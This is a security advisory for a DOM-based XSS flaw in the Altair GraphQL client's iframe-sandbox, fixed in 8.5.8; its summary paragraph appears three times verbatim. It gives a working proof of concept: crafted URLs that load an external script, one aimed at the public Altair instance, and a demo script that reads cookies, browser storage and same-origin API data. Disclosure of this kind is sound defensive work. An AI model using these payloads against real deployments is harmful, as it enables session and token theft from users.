Altair: DOM-based XSS via attacker-controlled script URLs in the iframe sandbox

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

Altair is a GraphQL client for all platforms. From 7.2.4 until 8.5.8, packages/altair-iframe-sandbox/src/main.ts reads plugin_sandbox_opts from the iframe-sandbox query string and passes attacker-controlled scriptUrls to injectScript() in packages/altair-core/src/utils/inject.ts, which creates script elements in the page. The intended parent iframe flow places the page in an iframe with sandbox allow-scripts and without allow-same-origin, but direct navigation to a crafted iframe-sandbox URL omits that isolation and executes the supplied script in the origin serving Altair. Exploitation requires a victim to open the crafted URL, and the resulting script can access script-readable storage and make same-origin requests according to the deployment's authentication and cookie controls. This issue is fixed in version 8.5.8.

### Summary Altair `8.5.7` accepts plugin configuration directly from the `iframe-sandbox` query string. When `plugin_sandbox_opts` contains `type: "scripts"` and an attacker-controlled URL in `scriptUrls`, the sandbox page creates a classic `<script src="...">` element and loads the supplied script. In the intended plugin flow, this page runs inside an `<iframe sandbox="allow-scripts">` without `allow-same-origin`, giving plugin code an opaque origin. However, if a victim opens the crafted sandbox URL directly, that iframe isolation is absent and the attacker-controlled script executes in the origin serving Altair, resulting in DOM-based cross-site scripting (XSS) / arbitrary JavaScript execution in the Altair hosting origin. Exploitation requires the victim to open a crafted URL. ### Details The sandbox reads its configuration directly from `window.location.search`. In `packages/altair-iframe-sandbox/src/main.ts`: ``` const searchParams = new URLSearchParams(window.location.search); const sandboxType = searchParams.get('sandbox_type'); switch (sandboxType) { case 'plugin': handlePluginSandbox(); break; } ``` `handlePluginSandbox()` then parses `plugin_sandbox_opts`: ``` const searchParams = new URLSearchParams(window.location.search); const pluginSandboxOptsStr = searchParams.get('plugin_sandbox_opts'); const pluginSandboxOpts = pluginSandboxOptsStr ? (JSON.parse(pluginSandboxOptsStr) as PluginParentWorkerOptions) : undefined; ``` The relevant validation only checks the plugin type: ``` if (pluginSandboxOpts.type !== 'scripts') { throw new Error('Invalid plugin option type provided!'); } ``` Values from `scriptUrls` are then passed to `injectScript()`: ``` if (pluginSandboxOpts.scriptUrls) { for (const script of pluginSandboxOpts.scriptUrls) { await injectScript(script); } } ``` The sink in `packages/altair-core/src/utils/inject.ts` is: ``` const script = document.createElement('script'); script.type = 'text/javascript'; script.src = url; head.appendChild(script); ``` The intended parent flow relies on browser iframe sandboxing: ``` // NOTE: Don't add allow-same-origin to the sandbox attribute! iframe.sandbox.add('allow-scripts'); ``` Direct navigation to the sandbox URL does not have this parent iframe sandbox, so the injected script runs in the normal hosting origin. The official middleware also clears CSP for paths identified as iframe-sandbox. This is not the root cause, but reduces the chance that a deployment-level CSP will block attacker-controlled external scripts when the default middleware behavior is used. ### PoC The following PoC is intentionally benign and demonstrates JavaScript execution in the Altair hosting origin. 1. Create a local Altair deployment ```sh mkdir altair-local-test cd altair-local-test npm init -y npm i [email protected] [email protected] [email protected] [email protected] ``` Create `server.js`: ```js const express = require("express"); const { altairExpress } = require("altair-express-middleware"); const { createHandler } = require("graphql-http/lib/use/express"); const { buildSchema } = require("graphql"); const app = express(); const schema = buildSchema(` type Query { hello: String } `); const root = { hello: () => "world", }; app.all( "/api/graphql", createHandler({ schema, rootValue: root, }) ); app.use( "/graphql", altairExpress({ endpointURL: "/api/graphql", initialQuery: "{ hello }", }) ); app.listen(4000, () => { console.log("Altair UI: http://localhost:4000/graphql/"); console.log("Sandbox: http://localhost:4000/graphql/iframe-sandbox/"); }); ``` Run: ```sh node server.js ``` 2. Host a benign script Host the following as `poc.js` on a domain you control: ```js document.body.textContent = ""; const h1 = document.createElement("h1"); h1.textContent = "Altair iframe-sandbox PoC"; const p = document.createElement("p"); p.textContent = "Script executed in: " + window.location.origin; document.body.append(h1, p); ``` 3. Build the crafted URL Create `build-poc-url.js`: ```js const opts = { id: "local-poc", type: "scripts", scriptUrls: ["http://127.0.0.1:8000/poc.js"], styleUrls: [] }; const url = "http://localhost:4000/graphql/iframe-sandbox/" + "?sandbox_type=plugin&plugin_sandbox_opts=" + encodeURIComponent(JSON.stringify(opts)); console.log(url); ``` Run: ```js node build-poc-url.js ``` This prints a fully encoded URL similar to: ```text http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` 4. Open the crafted URL ```text http://localhost:4000/graphql/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` Some deployments also accept: ```text http://localhost:4000/graphql/iframe-sandbox/index.html?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local-poc%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22http%3A%2F%2F127.0.0.1%3A8000%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` The page creates: ```html <script type="text/javascript" src="http://127.0.0.1:8000/poc.js"></script> ``` The script displays: ```text Script executed in: http://localhost:4000 ``` This confirms that attacker-controlled `scriptUrls` reaches `script.src` and executes in the deployment origin when the page is opened outside the intended sandboxed iframe. 5. Optional same-origin impact demonstration The following routes are only part of the local test environment and are not Altair functionality. Add: ```js app.get("/login-demo", (req, res) => { res.setHeader("Set-Cookie", [ "visible_token=demo-visible-token-123; Path=/; SameSite=Lax", "http_only_session=demo-http-only-session-456; Path=/; HttpOnly; SameSite=Lax", ]); res.send(` <h1>Demo login</h1> <script> localStorage.setItem("altair_demo_token", "localStorage-secret-789"); sessionStorage.setItem("altair_demo_session", "sessionStorage-secret-abc"); </script> <p>Now open the iframe-sandbox PoC URL.</p> `); }); app.get("/api/me-demo", (req, res) => { res.json({ user: "demo-user", role: "admin-demo", privateData: "same-origin-api-data", authenticated: Boolean(req.headers.cookie), }); }); ``` Visit `/login-demo`, then open the crafted sandbox URL in the same origin using: ```js async function main() { const api = await fetch("/api/me-demo").then((res) => res.json()); document.body.textContent = ""; const pre = document.createElement("pre"); pre.textContent = JSON.stringify( { origin: location.origin, cookie: document.cookie, localStorage: localStorage.getItem("altair_demo_token"), sessionStorage: sessionStorage.getItem("altair_demo_session"), sameOriginApi: api, }, null, 2 ); document.body.appendChild(pre); } main(); ``` Expected behavior: - `visible_token` is readable through `document.cookie`; - the `HttpOnly` cookie is not readable through `document.cookie`; - `localStorage` and `sessionStorage` are readable; - same-origin requests can include cookies according to their attributes. This step is optional and only demonstrates the consequences of JavaScript execution in a shared application origin. 6. Public validation The same behavior was also validated against the public Altair instance using a benign payload: ```text https://web.altairgraphql.dev/iframe-sandbox/?sandbox_type=plugin&plugin_sandbox_opts=%7B%22id%22%3A%22local%22%2C%22type%22%3A%22scripts%22%2C%22scriptUrls%22%3A%5B%22https%3A%2F%2F<controlled-test-domain>%2Fpoc.js%22%5D%2C%22styleUrls%22%3A%5B%5D%7D ``` The controlled script only displayed: ```text Script executed in: https://web.altairgraphql.dev ``` Separately, browser storage for an authenticated Altair Web session was inspected and showed an `ALTAIR-API-USER-TOKEN` entry in `localStorage` for `https://web.altairgraphql.dev`. Because the sandbox PoC already demonstrates attacker-controlled JavaScript execution in that same origin, this browser-accessible authentication value may be exposed by successful exploitation. No tokens, storage, user data, or authenticated APIs were accessed during the public validation. ### Impact An unauthenticated remote attacker can craft an `iframe-sandbox` URL that causes attacker-controlled JavaScript to execute in the origin serving Altair when a victim opens the crafted URL. The impact can become significantly higher when Altair is hosted on the same origin as authenticated application functionality. In such deployments, the injected script may be able to: - read script-accessible cookies; - access `localStorage` and `sessionStorage`; - make authenticated same-origin requests using the victim's session; - read same-origin API responses available to the victim; - interact with application functionality as the authenticated user. - enable phishing or UI spoofing scenarios. `HttpOnly` cookies cannot be read directly through JavaScript, but they may still be automatically included in same-origin requests according to their cookie attributes. For the hosted Altair Web deployment, an authenticated session was observed to store `ALTAIR-API-USER-TOKEN` in same-origin `localStorage`. Since JavaScript executing in `https://web.altairgraphql.dev` can access that origin's browser storage, successful exploitation may expose this authentication-related value. The exact confidentiality and integrity impact depends on the deployment model and on the authenticated functionality exposed on the same origin. The public validation against `web.altairgraphql.dev` only demonstrated attacker-controlled JavaScript execution in the Altair origin. No tokens, storage contents, user data, or authenticated APIs were accessed.